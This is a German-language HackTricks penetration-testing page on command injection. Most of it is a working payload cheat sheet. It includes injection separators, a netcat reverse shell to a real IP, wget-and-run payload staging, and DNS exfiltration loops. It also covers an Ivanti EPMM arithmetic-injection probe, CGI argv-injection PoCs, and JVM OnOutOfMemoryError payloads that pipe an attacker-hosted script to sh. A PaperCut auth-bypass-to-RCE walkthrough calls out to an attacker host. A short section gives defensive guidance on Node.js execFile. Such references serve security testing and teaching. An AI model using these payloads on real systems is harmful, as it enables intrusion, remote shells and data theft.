Command Injection

Tip

Lernen & üben Sie AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Lernen & üben Sie GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Lernen & üben Sie Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Unterstützen Sie HackTricks

Was ist command Injection?

Eine command injection erlaubt einem Angreifer die Ausführung beliebiger Betriebssystembefehle auf dem Server, der eine Anwendung hostet. Infolgedessen kann die Anwendung und alle ihre Daten vollständig kompromittiert werden. Die Ausführung dieser Befehle ermöglicht dem Angreifer typischerweise, unbefugten Zugriff auf die Umgebung der Anwendung und das zugrunde liegende System zu erlangen oder Kontrolle darüber zu übernehmen.

Kontext

Je nachdem, wo Ihre Eingabe injiziert wird, müssen Sie möglicherweise den zitierten Kontext beenden (mit " oder ') bevor Sie die Befehle ausführen.

Command Injection/Execution

#Both Unix and Windows supported
ls||id; ls ||id; ls|| id; ls || id # Execute both
ls|id; ls |id; ls| id; ls | id # Execute both (using a pipe)
ls&&id; ls &&id; ls&& id; ls && id #  Execute 2º if 1º finish ok
ls&id; ls &id; ls& id; ls & id # Execute both but you can only see the output of the 2º
ls %0A id # %0A Execute both (RECOMMENDED)
ls%0abash%09-c%09"id"%0a   # (Combining new lines and tabs)

#Only unix supported
`ls` # ``
$(ls) # $()
ls; id # ; Chain commands
ls${LS_COLORS:10:1}${IFS}id # Might be useful

#Not executed but may be interesting
> /var/www/html/out.txt #Try to redirect the output to a file
< /etc/passwd #Try to send some input to the command

Einschränkung Bypasses

Wenn du versuchst, beliebige Befehle auf einer linux-Maschine auszuführen, könnte dich das Lesen dieser Bypasses: interessieren.

Bypass Linux Restrictions

Beispiele

vuln=127.0.0.1 %0a wget https://web.es/reverse.txt -O /tmp/reverse.php %0a php /tmp/reverse.php
vuln=127.0.0.1%0anohup nc -e /bin/bash 51.15.192.49 80
vuln=echo PAYLOAD > /tmp/pay.txt; cat /tmp/pay.txt | base64 -d > /tmp/pay; chmod 744 /tmp/pay; /tmp/pay

Bash arithmetische Auswertung in RewriteMap/CGI-style Skripten

RewriteMap-Helper, die in bash geschrieben sind, schreiben manchmal Query-Parameter in globale Variablen und vergleichen sie später in arithmetischen Kontexten ([[ $a -gt $b ]], $((...)), let). Die arithmetische Expansion retokenisiert den Inhalt, sodass vom Angreifer kontrollierte Variablennamen oder Array-Referenzen zweimal expandiert werden und ausgeführt werden können.

Muster, gesehen in Ivanti EPMM RewriteMap-Helpern:

  1. Parameter werden auf globale Variablen abgebildet (stgStartTime, htheValue).
  2. Spätere Prüfung:
if [[ ${theCurrentTimeSeconds} -gt ${gStartTime} ]]; then
...
fi
  1. Sende st=theValue , damit gStartTime auf den String theValue zeigt.
  2. Sende h=gPath['sleep 5'] , sodass theValue einen Array-Index enthält; während der arithmetischen Prüfung wird sleep 5 ausgeführt (gegen eine echte Nutzlast austauschen).

Probe (~5s Verzögerung, dann 404 wenn verwundbar):

curl -k "https://TARGET/mifs/c/appstore/fob/ANY?st=theValue&h=gPath['sleep 5']"

Hinweise:

  • Suche nach demselben helper unter anderen Präfixen (z. B. /mifs/c/aftstore/fob/).
  • Arithmetische Kontexte behandeln unbekannte Tokens als Variablen-/Array-Identifikatoren, daher umgeht das einfache Metazeichenfilter.

Parameter

Hier sind die Top-25-Parameter, die für code injection und ähnliche RCE vulnerabilities anfällig sein könnten (von link):

?cmd={payload}
?exec={payload}
?command={payload}
?execute{payload}
?ping={payload}
?query={payload}
?jump={payload}
?code={payload}
?reg={payload}
?do={payload}
?func={payload}
?arg={payload}
?option={payload}
?load={payload}
?process={payload}
?step={payload}
?read={payload}
?function={payload}
?req={payload}
?feature={payload}
?exe={payload}
?module={payload}
?payload={payload}
?run={payload}
?print={payload}

Time based data exfiltration

Daten extrahieren: char by char

swissky@crashlab▸ ~ ▸ $ time if [ $(whoami|cut -c 1) == s ]; then sleep 5; fi
real    0m5.007s
user    0m0.000s
sys 0m0.000s

swissky@crashlab▸ ~ ▸ $ time if [ $(whoami|cut -c 1) == a ]; then sleep 5; fi
real    0m0.002s
user    0m0.000s
sys 0m0.000s

DNS based data exfiltration

Basierend auf dem Tool von https://github.com/HoLyVieR/dnsbin, das auch unter dnsbin.zhack.ca gehostet wird

1. Go to http://dnsbin.zhack.ca/
2. Execute a simple 'ls'
for i in $(ls /) ; do host "$i.3a43c7e4e57a8d0e2057.d.zhack.ca"; done
$(host $(wget -h|head -n1|sed 's/[ ,]/-/g'|tr -d '.').sudo.co.il)

Online-Tools zum Überprüfen auf DNS based data exfiltration:

  • dnsbin.zhack.ca
  • pingb.in

Filtering bypass

Windows

powershell C:**2\n??e*d.*? # notepad
@^p^o^w^e^r^shell c:**32\c*?c.e?e # calc

Linux

Bypass Linux Restrictions

Node.js child_process.exec vs execFile

Beim Audit von JavaScript/TypeScript-Backends stößt man häufig auf die Node.js child_process API.

// Vulnerable: user-controlled variables interpolated inside a template string
const { exec } = require('child_process');
exec(`/usr/bin/do-something --id_user ${id_user} --payload '${JSON.stringify(payload)}'`, (err, stdout) => {
/* … */
});

exec() startet eine shell (/bin/sh -c); daher führt jedes Zeichen, das für die shell eine besondere Bedeutung hat (back-ticks, ;, &&, |, $(), …), zu command injection, wenn Benutzereingaben in den String eingefügt werden.

Abhilfemaßnahme: verwende execFile() (oder spawn() ohne die shell Option) und übergebe jedes Argument als separates Array-Element, sodass keine shell involviert ist:

const { execFile } = require('child_process');
execFile('/usr/bin/do-something', [
'--id_user', id_user,
'--payload', JSON.stringify(payload)
]);

Real-world case: Synology Photos ≤ 1.7.0-0794 was exploitable through an unauthenticated WebSocket event that placed attacker controlled data into id_user which was later embedded in an exec() call, achieving RCE (Pwn2Own Ireland 2024).

Argument/Option injection via leading hyphen (argv, no shell metacharacters)

Nicht alle Injektionen erfordern shell metacharacters. Wenn die Anwendung nicht vertrauenswürdige Strings als Argumente an ein Systemutility übergibt (selbst bei Verwendung von execve/execFile und ohne Shell), werden viele Programme weiterhin jedes Argument, das mit - oder -- beginnt, als Option interpretieren. Dadurch kann ein Angreifer Modi umschalten, Ausgabepfade ändern oder gefährliche Funktionen auslösen, ohne jemals in eine Shell zu gelangen.

Typische Stellen, an denen das auftaucht:

  • Eingebettete Web-UIs/CGI-Handler, die Befehle wie ping <user>, tcpdump -i <iface> -w <file>, curl <url>, etc. zusammenbauen.
  • Zentralisierte CGI-Router (z. B. /cgi-bin/<something>.cgi mit einem selector-Parameter wie topicurl=<handler>), bei denen mehrere Handler denselben schwachen Validator wiederverwenden.

Was man versuchen sollte:

  • Gib Werte an, die mit -/-- beginnen, damit das downstream-Tool sie als Flags interpretiert.
  • Missbrauche Flags, die Verhalten ändern oder Dateien schreiben, zum Beispiel:
    • ping: -f/-c 100000, um das Gerät zu belasten (DoS)
    • curl: -o /tmp/x, um beliebige Pfade zu schreiben; -K <url>, um vom Angreifer kontrollierte Konfiguration zu laden
    • tcpdump: -G 1 -W 1 -z /path/script.sh, um post-rotate-Ausführung in unsicheren Wrappern zu erreichen
  • Wenn das Programm -- (Ende der Optionen) unterstützt, versuche naive Gegenmaßnahmen zu umgehen, die -- an der falschen Stelle voranstellen.

Generische PoC-Muster gegen zentralisierte CGI-Dispatcher:

POST /cgi-bin/cstecgi.cgi HTTP/1.1
Content-Type: application/x-www-form-urlencoded

# Flip options in a downstream tool via argv injection
topicurl=<handler>&param=-n

# Unauthenticated RCE when a handler concatenates into a shell
topicurl=setEasyMeshAgentCfg&agentName=;id;

JVM diagnostic callbacks for guaranteed exec

Any primitive that lets you inject JVM command-line arguments (_JAVA_OPTIONS, launcher config files, AdditionalJavaArguments fields in desktop agents, etc.) can be turned into a reliable RCE without touching application bytecode:

  1. Einen deterministischen Absturz erzwingen durch Verkleinern des Metaspace oder Heap: -XX:MaxMetaspaceSize=16m (or a tiny -Xmx). Dies garantiert ein OutOfMemoryError sogar während des frühen Bootstrap.
  2. Einen Error-Hook anhängen: -XX:OnOutOfMemoryError="<cmd>" or -XX:OnError="<cmd>" führt bei jedem JVM-Abbruch einen beliebigen OS-Befehl aus.
  3. Optional -XX:+CrashOnOutOfMemoryError hinzufügen, um Wiederherstellungsversuche zu vermeiden und das payload one-shot zu halten.

Example payloads:

-XX:MaxMetaspaceSize=16m -XX:OnOutOfMemoryError="cmd.exe /c powershell -nop -w hidden -EncodedCommand <blob>"
-XX:MaxMetaspaceSize=12m -XX:OnOutOfMemoryError="/bin/sh -c 'curl -fsS https://attacker/p.sh | sh'"

Da diese Diagnostics von der JVM selbst geparst werden, sind keine shell metacharacters erforderlich und der Befehl läuft mit demselben Integritätsniveau wie der launcher. Desktop-IPC-Bugs, die user-supplied JVM flags weiterreichen (siehe Localhost WebSocket abuse), führen daher direkt zu OS command execution.

PaperCut NG/MF SetupCompleted auth bypass -> print scripting RCE

  • Vulnerable NG/MF builds (e.g., 22.0.5 Build 63914) stellen /app?service=page/SetupCompleted offen; wenn man diese Seite öffnet und auf Login klickt, wird ohne Credentials eine gültige JSESSIONID zurückgegeben (authentication bypass im Setup-Flow).
  • In Options → Config Editor setze print-and-device.script.enabled=Y und print.script.sandboxed=N, um printer scripting zu aktivieren und die Sandbox zu deaktivieren.
  • Im Drucker-Tab Scripting aktiviere das Script und lasse printJobHook definiert, um Validierungsfehler zu vermeiden, platziere die payload jedoch außerhalb der Funktion, sodass sie sofort ausgeführt wird, wenn du auf Apply klickst (kein Druckauftrag nötig):
function printJobHook(inputs, actions) {}
cmd = ["bash","-c","curl http://attacker/hit"];
java.lang.Runtime.getRuntime().exec(cmd);
  • Tausche den callback gegen eine reverse shell; falls die UI/PoC pipes/redirects nicht verarbeiten kann, stage ein payload mit einem Befehl und führe es mit einer zweiten Anfrage aus.
  • Horizon3’s CVE-2023-27350.py automatisiert den auth bypass, config flips, command execution und rollback — führe es über einen upstream proxy (z. B. proxychains → Squid) aus, wenn der Service nur intern erreichbar ist.

Brute-Force Detection List

https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/command_injection.txt

Referenzen

Tip

Lernen & üben Sie AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Lernen & üben Sie GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Lernen & üben Sie Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Unterstützen Sie HackTricks